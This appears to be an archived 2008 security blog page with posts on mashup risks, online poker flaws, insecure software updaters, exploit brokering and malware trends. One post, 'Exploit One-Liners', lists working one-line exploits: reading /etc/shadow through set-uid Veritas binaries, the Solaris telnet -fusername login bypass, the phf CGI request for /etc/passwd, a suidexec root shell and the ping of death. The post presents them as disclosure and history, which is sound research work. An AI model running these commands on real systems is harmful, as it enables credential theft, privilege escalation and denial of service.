Short-Term Memory

Sometimes I get the feeling that too many Internet users (especially the younger generation) view 1995, or the beginning of commercialized Internet as the start of time itself. More specifically, I notice how people tend to have a short-term memory when it comes to security issues. A recent example of this was all the creative network exploitation scenarios that arose from the great DNS cache poisoning scare of 2008: intercepting e-mails destined for the MX of users who didn’t really click on “Forgot Password,” pushing out phony updates, innovative twists on spear phishing, etc. The fact of the matter is that man-in-the-middle attacks were always a problem; cache poisoning makes them easier but their feasibility has always been within reason. My point is that vendors should address such weaknesses before the proverbial fertilizer hits the windmill.

Too often, short-term memory is the catalyst for reoccurring breaches of information. Sometimes I wonder what (if anything) goes through the mind of one of those celebrities that just got their cell phone hacked for the third time. Maybe it’s something like, “Oh.. those silly hackers! They’ve probably gotten bored by now and they’ll just go away.” Then I wonder how often similar thoughts enter corporate security (in)decision–which is likely to be why cellular carriers neglect to shield their clientele’s voicemail from caller ID spoofing and other shenanigans. Nonetheless, the amusing charade that 2600 pulled on the Obama campaign for April Fool’s Day was simply a case of people believing everything they read on the Internet.

Don’t get me wrong. I’ve seen some major improvements in how larger software vendors are dealing with vulnerabilities, but an overwhelming majority of their security processes are still not up to par. Short-term memory is one of those cases where wetware is the weakest link in the system.

The idea of the digital security industry using long-term memory to become more like insurance companies and less like firefighters is quite intriguing. Putting protective forethought into the equation dramatically changes the playing field. Imagine an SDLC where programmers don’t have to know how to write secure code, or even patch vulnerable code for that matter. I can say for sure that such a proposition will become reality in the not too distant future. Stay tuned…

Advertisements

Leave a Comment

The Monster Mash

mashed-potatoes

The buzz word “mashup” refers to the tying together of information and functionality from multiple third-party sources. Mashup projects are sure to become a monster of a security problem because of their very nature. This is what John Sluiter of Capgemini predicted at the RSA Europe conference last week during his “Trust in Mashups, the Complex Key” session. This is the abstract:

“Mashups represent a different business model for on-line business and require a specific approach to trust. This session sets out why Mashups are different,  describes how trust should be incorporated into the Mashup-based service using Jericho Forum models and presents three first steps for incorporating trust appropriately into new Mashup services.”

Jericho Forum is the international IT security association that published the COA (Collaboration Oriented Architectures) framework. COA advocates the deperimiterisation approach to security and stresses the importance of protecting data instead of relying on firewalls.

So what happens when data from various third-party sources traverses inharmonious networks, applications, and privilege levels? Inevitably, misidentifications occur; erroneous and/or malicious bytes pass through the perimeters. Sensitive data might be accessed by an unprivileged user or attack strings could be received. A good example of such a vulnerability was in the Microsoft Windows Vista Sidebar; a malicious HTML tag gets rendered by the RSS gadget and since it’s in the local zone, arbitrary JavaScript is executed with full privileges (MS07-048.)

New generations of automated tools will need to be created in order to test applications developed using the mashup approach. Vulnerability scanners like nessus, nikto, and WebInspect are best used to discover known weaknesses in input validation and faulty configurations. What they’re not very good at is pointing out errors in custom business logic and more sophisticated attack vectors; that’s where the value of hiring a consultant to perform manual testing comes in.

Whether it’s intentional or not, how can insecure data be prevented from getting sent to or received from a third-party source? A whitelist can be applied to data that is on its way in or out—this helps, but it can be difficult when there are multiple systems and data encodings involved. There is also the problem of determining the presence of sensitive information.

Detecting transmissions of insecure data can be accomplished with binary analyzers. However, static analyzers are at a big disadvantage because they lack execution context. Dynamic analysis is capable of providing more information for tainting data that comes from third-party sources. They are more adept at recognizing unexpected executions paths that tainted data may take after being received from the network or shared code.

Leave a Comment

Exploit One-Liners

Very Small Shell Scripts

Every once in a while there are security vulnerabilities publicized that can be exploited with a single command. This week, Security Objectives published advisories for two such vulnerabilities (SECOBJADV-2008-04 and SECOBJADV-2008-05) which I’ll be describing here. I’ll also be revisiting some one-line exploits from security’s past for nostalgia’s sake and because history tends to repeat itself.

Both issues that were discovered are related to Symantec’s Veritas Storage Foundation Suite. They rely on the default set-uid root bits being set on the affected binaries. Before Symantec and Veritas combined, Sun package manager prompted the administrator with an option of removing the set-id bits. The new Symantec installer just went ahead and set the bits without asking (how rude!)

On to the good stuff.. The first weakness is an uninitialized memory disclosure vulnerability. It can be leveraged like so:

/opt/VRTS/bin/qiomkfile -s 65536 -h 4096 foo

Now, the contents of file .foo (note that it is a dot-file) will contain uninitialized memory from previous file system operations–usually from other users. Sensitive information can be harvested by varying the values to the -s and -h flags over a period of time.

This next one is a bit more critical in terms of privilege escalation. It is somewhat similar to the Solaris srsexec hole from last year. Basically, you can provide any file’s pathname on the command line and have it displayed on stderr. As part of the shell command, I’ve redirected standard error back to standard output.

/opt/VRTSvxfs/sbin/qioadmin -p /etc/shadow / 2>&1

Some of these one-liner exploits can be more useful than exploits that utilize shellcode. Kingcope’s Solaris in.telnetd exploit is a beautiful example of that. The really interesting thing about that one was its resurrection–it originally became well-known back in 1994. In 2007, Kingcope’s version won the Pwnie award for best server-side bug.

telnet -l -fusername hostname

Let’s not forget other timeless classics such as the cgi-bin/phf bug, also from the mid-nineties:

lynx http://host.com/cgi-bin/phf?Qalias=/bin/cat%20/etc/passwd

..and Debian’s suidexec hole from the late nineties:

/usr/bin/suidexec /bin/sh /path/to/script


I’m not including exploits that have pipes/semi-colons/backticks/etc. in the command-line because that’s really more than one command being executed. Since the “Ping of Death” is a single command from a commonly installed system utility I’ll be including it here as well. I consider it a true denial of service attack since it does not rely on bandwidth exhaustion:

ping -s70000 -c1 host

EOF

Comments (15)

Breaking Vegas Online

We recently published an advisory for PartyPoker, an online gambling site (SECOBJADV-2008-03.) It was for a weakness in the client update process, a class of vulnerability that can affect various kinds of software. The past few years have seen some vulnerabilities that are specific to online gaming software. Statically seeded random number generators that allow prediction of forthcoming cards and reel values on upcoming slot spins were researched in the early days of online gaming–let’s take a look at some additional threats.

Usually, forms of online cheating are pretty primitive. Justin Bonomo was exposed for using multiple accounts in a single tournament on PokerStars and of course collusion between multiple players occurs as well. Absolute Poker’s reputation took a pretty big hit when players discovered that a site owner used a backdoor to view cards in play. Many private and public bots are also in use. However, a good human poker player will beat a bot, especially in no-limit which is less mathematical than other variations of the game; bots are likely to be most useful in low-stakes fixed-limit games.

Earlier this year, a logic flaw was exploited on BetFair (oh, the pun!) because of a missing conditional check to test for chip stack equality when determining finishing positions. As a result, if multiple players with the same amount of chips were eliminated at the same time, they would all receive the payout for the highest position, instead of decrementing positions. For example, if there were three players that all had chip stacks of the same size and everyone went all-in, the winner of the hand would finish in first place and the other two players would both receive second place money. Interesting!

Comments (1)

Updating the Updater

Professor John Frink Updates

Attacks against security components have been fairly common on server operating systems for decades; on PC’s this wasn’t always necessary because of security models that resembled swiss cheese. Since the beginning of the 21st century, Microsoft has been working diligently to close obvious holes (for the most part.) As a result, researchers have shifted their focus to the attack surface of security-centric code on PC’s. Case in point; in the past several years we’ve seen loads of advisories released for vulnerabilities in anti-virus software. Read the Yankee Group’s “Fear and Loathing in Las Vegas: The Hackers Turn Pro” for a more in-depth analysis of this trend. One area in particular where I feel PC protection is lacking is automated software security update mechanisms; there is a lot of room for improvement.

According to Hewlett-Packard, Digital Equipment Corporation was the first in the industry to perform patch delivery in 1983. Prior to this, updates were commonly delivered on tape by private courier. At one of 2600’s HOPE conferences, Kevin Mitnick spoke about an analog attack he had used to compromise this process during the social engineering panel. The gist of it was that he wore a UPS uniform (procured from a costume store) and delivered the “update” tape to his mark with a login trojan on it. Later, Mitnick became known for using SYN floods and TCP hijacking against Tsutomo Shimomura. Some sources even refer to this sort of digital man-in-the-middle as “The Mitnick Attack.”

Many software update components don’t use public key infrastructure to cryptographically verify the validity of the update server (i.e. SSL) or the updated package (i.e. digital signature.) This is a problem. Impersonating the software update server is usually trivial. Wi-Fi access point impersonation, DNS cache poisoning, ARP spoofing, session hijacking, and compromising the legitimate update server are all possibilities.

Some applications–I’m not going to name any names–rely on HTTP (note that I didn’t say HTTPS) for downloading packages after checking for updates instead of using a separate file transfer manager program or internal update component. This is much easier to reverse engineer than a custom update solution. Sometimes the attacker can allow the real update server to carry out most of the process and simply shoehorn their malcode into the update session(s) after initial preconditions are met.

SSL won’t save the day either unless it’s implemented properly. I’ve seen plaintext updaters with digital signatures that are safer than some HTTPS updaters. Gentoo’s Portage Tree (emerge and ebuild) is a good example of an effective plaintext digital signature approach. See SECOBJADV-2008-01 (CVE-2008-3249) for a description of a software updater with an erroneous SSL implementation.

The issue is further complicated because software updaters themselves need to be updated in order to resolve such vulnerabilities. Typically this requires a major architectural modification. What’s worse is that breaking the updater would force users to manually update. Hoyvin-Glayvin!

Comments (2)

Ignorance is Bliss

Ignorance is Bliss When you think about it, time really is all we have. It’s what you have at your disposal, to do anything and everything. It seems that we’re better off not knowing when it comes to security–for our own good. Can it really be so utilitarian?

To anybody out there writing exploits: make sure you’re doing it just for fun. Currently, there are no outlets for any financial gain that will accurately measure your time investment or fairly compensate your hard work.

Security Objectives’ own Shane Macaulay “owned” Vista SP1 in the PWN2OWN contest at CanSecWest 2008 by exploiting a bug in Adobe Flash. As a result of the contest’s categorization of the bug as third-party, the exploit was grossly under-appraised (especially when considering cross-platform targets and the fact that it would work well into the future with Vista’s new Service Pack.) Sure, it technically was a bug in a third-party application, but this particular third-party application happens to be installed on just about every Internet-enabled PC. According to Adobe, “Adobe® Flash® Player is the world’s most pervasive software platform, used by over 2 million professionals and reaching over 98% of Internet-enabled desktops in mature markets as well as a wide range of devices.”

Even if Shane was unfairly compensated, it doesn’t matter because at least he used “responsible disclosure” — or does it? I highly doubt that the people in charge of the companies writing buggy software and brokering bug information have any idea about the amount of work and skill that goes into discovering an exploitable bug, let alone writing a proof-of-concept for it. As it stands, software companies are setting themselves up for a black market in digital weapons trading of unprecedented proportions.

Here’s something else to think about.. I expect Adobe to patch this one rather quickly given all the publicity. How long does it take for a vendor to fix a given vulnerability when it is reported to them directly? Even some of the brokered “upcoming advisories” on 3Com’s ZDI site are many months or even years stale. This “patchtile dysfunction” will increase the value of a 0-day exploit exponentially.

Time is money and to make up for lost time, Mr. Macaulay decided to sell the laptop he had won on eBay. An innocent bystander at the contest dubbed this decision “from pwn to pawn.” So why not? Laptops get sold on eBay everyday–but not this one. It wasn’t long before eBay pulled Mr. Macaulay’s item from auction on the first of April, ostensibly as an April Fool’s shenanigan. This came as a surprise to me. Things to consider here:

  • The laptop may or may not have had forensic evidence of the controlled attack that occurred during the contest.
  • Even so, Mr. Macaulay is a responsible discloser and would not have shipped the laptop until the bug was patched.
  • Mr. Macaulay’s and Mr. Sotirov’s autographs should have increased the laptop value, regardless.

This incident, in a way, reminded me of eBay’s great fearwall debacle from a few years ago (CVE-2005-4131.) In that case, there were several key differences: an information broker such as ZDI was not involved, a pseudonym was being used, the code statements where the memory corruption occurred were disclosed, and no computer hardware was for sale. Nevertheless, I respect eBay’s decision to discontinue the auction as this is obviously a very controversial issue.

Brokering information? How can you do it? From experience, the idea of using an escrow service and 3rd party verification is largely ineffective. It would appear that ZDI is the only show in town. Of course there’s that auction service, but you have to send them your exploit first so how does that work? It appears that they’re still trying to do business by the way, despite alleged legal troubles. I’m subscribed to their mailing list and they send out an e-mail every time new information goes up for auction; they put up a dozen or so new exploits last week but it would appear that few if any were sold. Where do we go from here? Is brokering information even possible?

Imagine for a moment a scenario where a dozen or so exploits of critical severity related to a single software company are posted to Full Disclosure with rumors of many more circulating in the underground and exploits actively being carried out in the wild. Now imagine shareholders shorting that company’s stock. I suppose that the vulnerability information might be more realistically valued in a situation such as this. Anyone have any other ideas?

Comments (1)

Good grief!

Charlie Brown Good GriefHaving just caught up on some of the conference “Source Boston”, I can’t help but call out some of the musings of Andrew Jaquith. Something of a more technical abstract can be read at the code project’s article by Jeffrey Walton (pay special attention to Robin Hood and Friar Tuck). If anybody doubt’s the current trend of sophistication in malware, I’m sure it is somebody who is currently penetrated. I’ve had the opportunity to devote specific analysis on occasion over the years to MAL code and its impact on the enterprise. I know FOR SURE the level of sophistication is on the rise. One thing I had to deal with recently, the extent of capability afforded by most desktop OS’s being so advanced, the majority of functionality desired by MAL code is pre-deployed. Unfortunately paving the way for configuration viruses and their ability to remain undetected in that all they are is an elaborate set of configuration settings. You can imagine, a configuration virus has the entire ability of your OS at its disposal, any VPN/IPSEC, self-(UN) healing, remote administration, etc… The issue is then, how do you determine if that configuration is of MAL intent, it’s surely there for a reason and valid in many deployments. The harm is only when connected to a larger entity/botnet that harm begins to affect a host. Some random points to add hard learned through experience;

  • Use a native execution environment
    • VMWare, prevents the load or typical operation of many MAL code variants
      • I guess VM vendors have a big win here for a while, until the majority of targets are VM hosts.
  • Have an easily duplicated disk strategy
    • MAC systems are great for forensics, target disk mode and ubiquitous fire-wire allows for live memory dumps and ease of off-line disk analysis (without a drive carrier).
    • I’m planning a hash-tree based system to provision arbitrarily sized block checksums of clean/good files, useful of diff’ing out the noise for arbitrary medium (memory, disk, flash).
  • Install a Chinese translator locally
    • As you browse Chinese hack sites, (I think all Russian site’s are so quiet these days due to the fact that they are financially driven, while Chinese are currently motivated by nationalistic motivators), you need to translate locally. Using a .com translation service is detected and false content is rendered, translate locally to avoid that problem.
      • Also, keep notes on lingo.. there are no translation-hack dictionaries yet. (I guess code pigeon is referring to a homing pigeon, naturally horse/wood code is a Trojan).

Unfortunately part of the attacker advantage is the relatively un-coordinated fashion defenders operate, not being able to trust or vet your allies to compare notes can be a real pain. One interesting aspect of a MAL system recently analyzed was the fact that that it had no persistent signature. It’s net force mobility so complete, that the totality of its functionality could shift boot-to-boot, so long as it compromised a boot-up driver it would rise again. The exalted C. Brown put it best, “Good grief!” http://www.codeproject.com/KB/cpp/VirusProtect.aspx http://www.sourceboston.com/blog/?p=25

Comments (11)

« Newer Posts · Older Posts »
%d bloggers like this: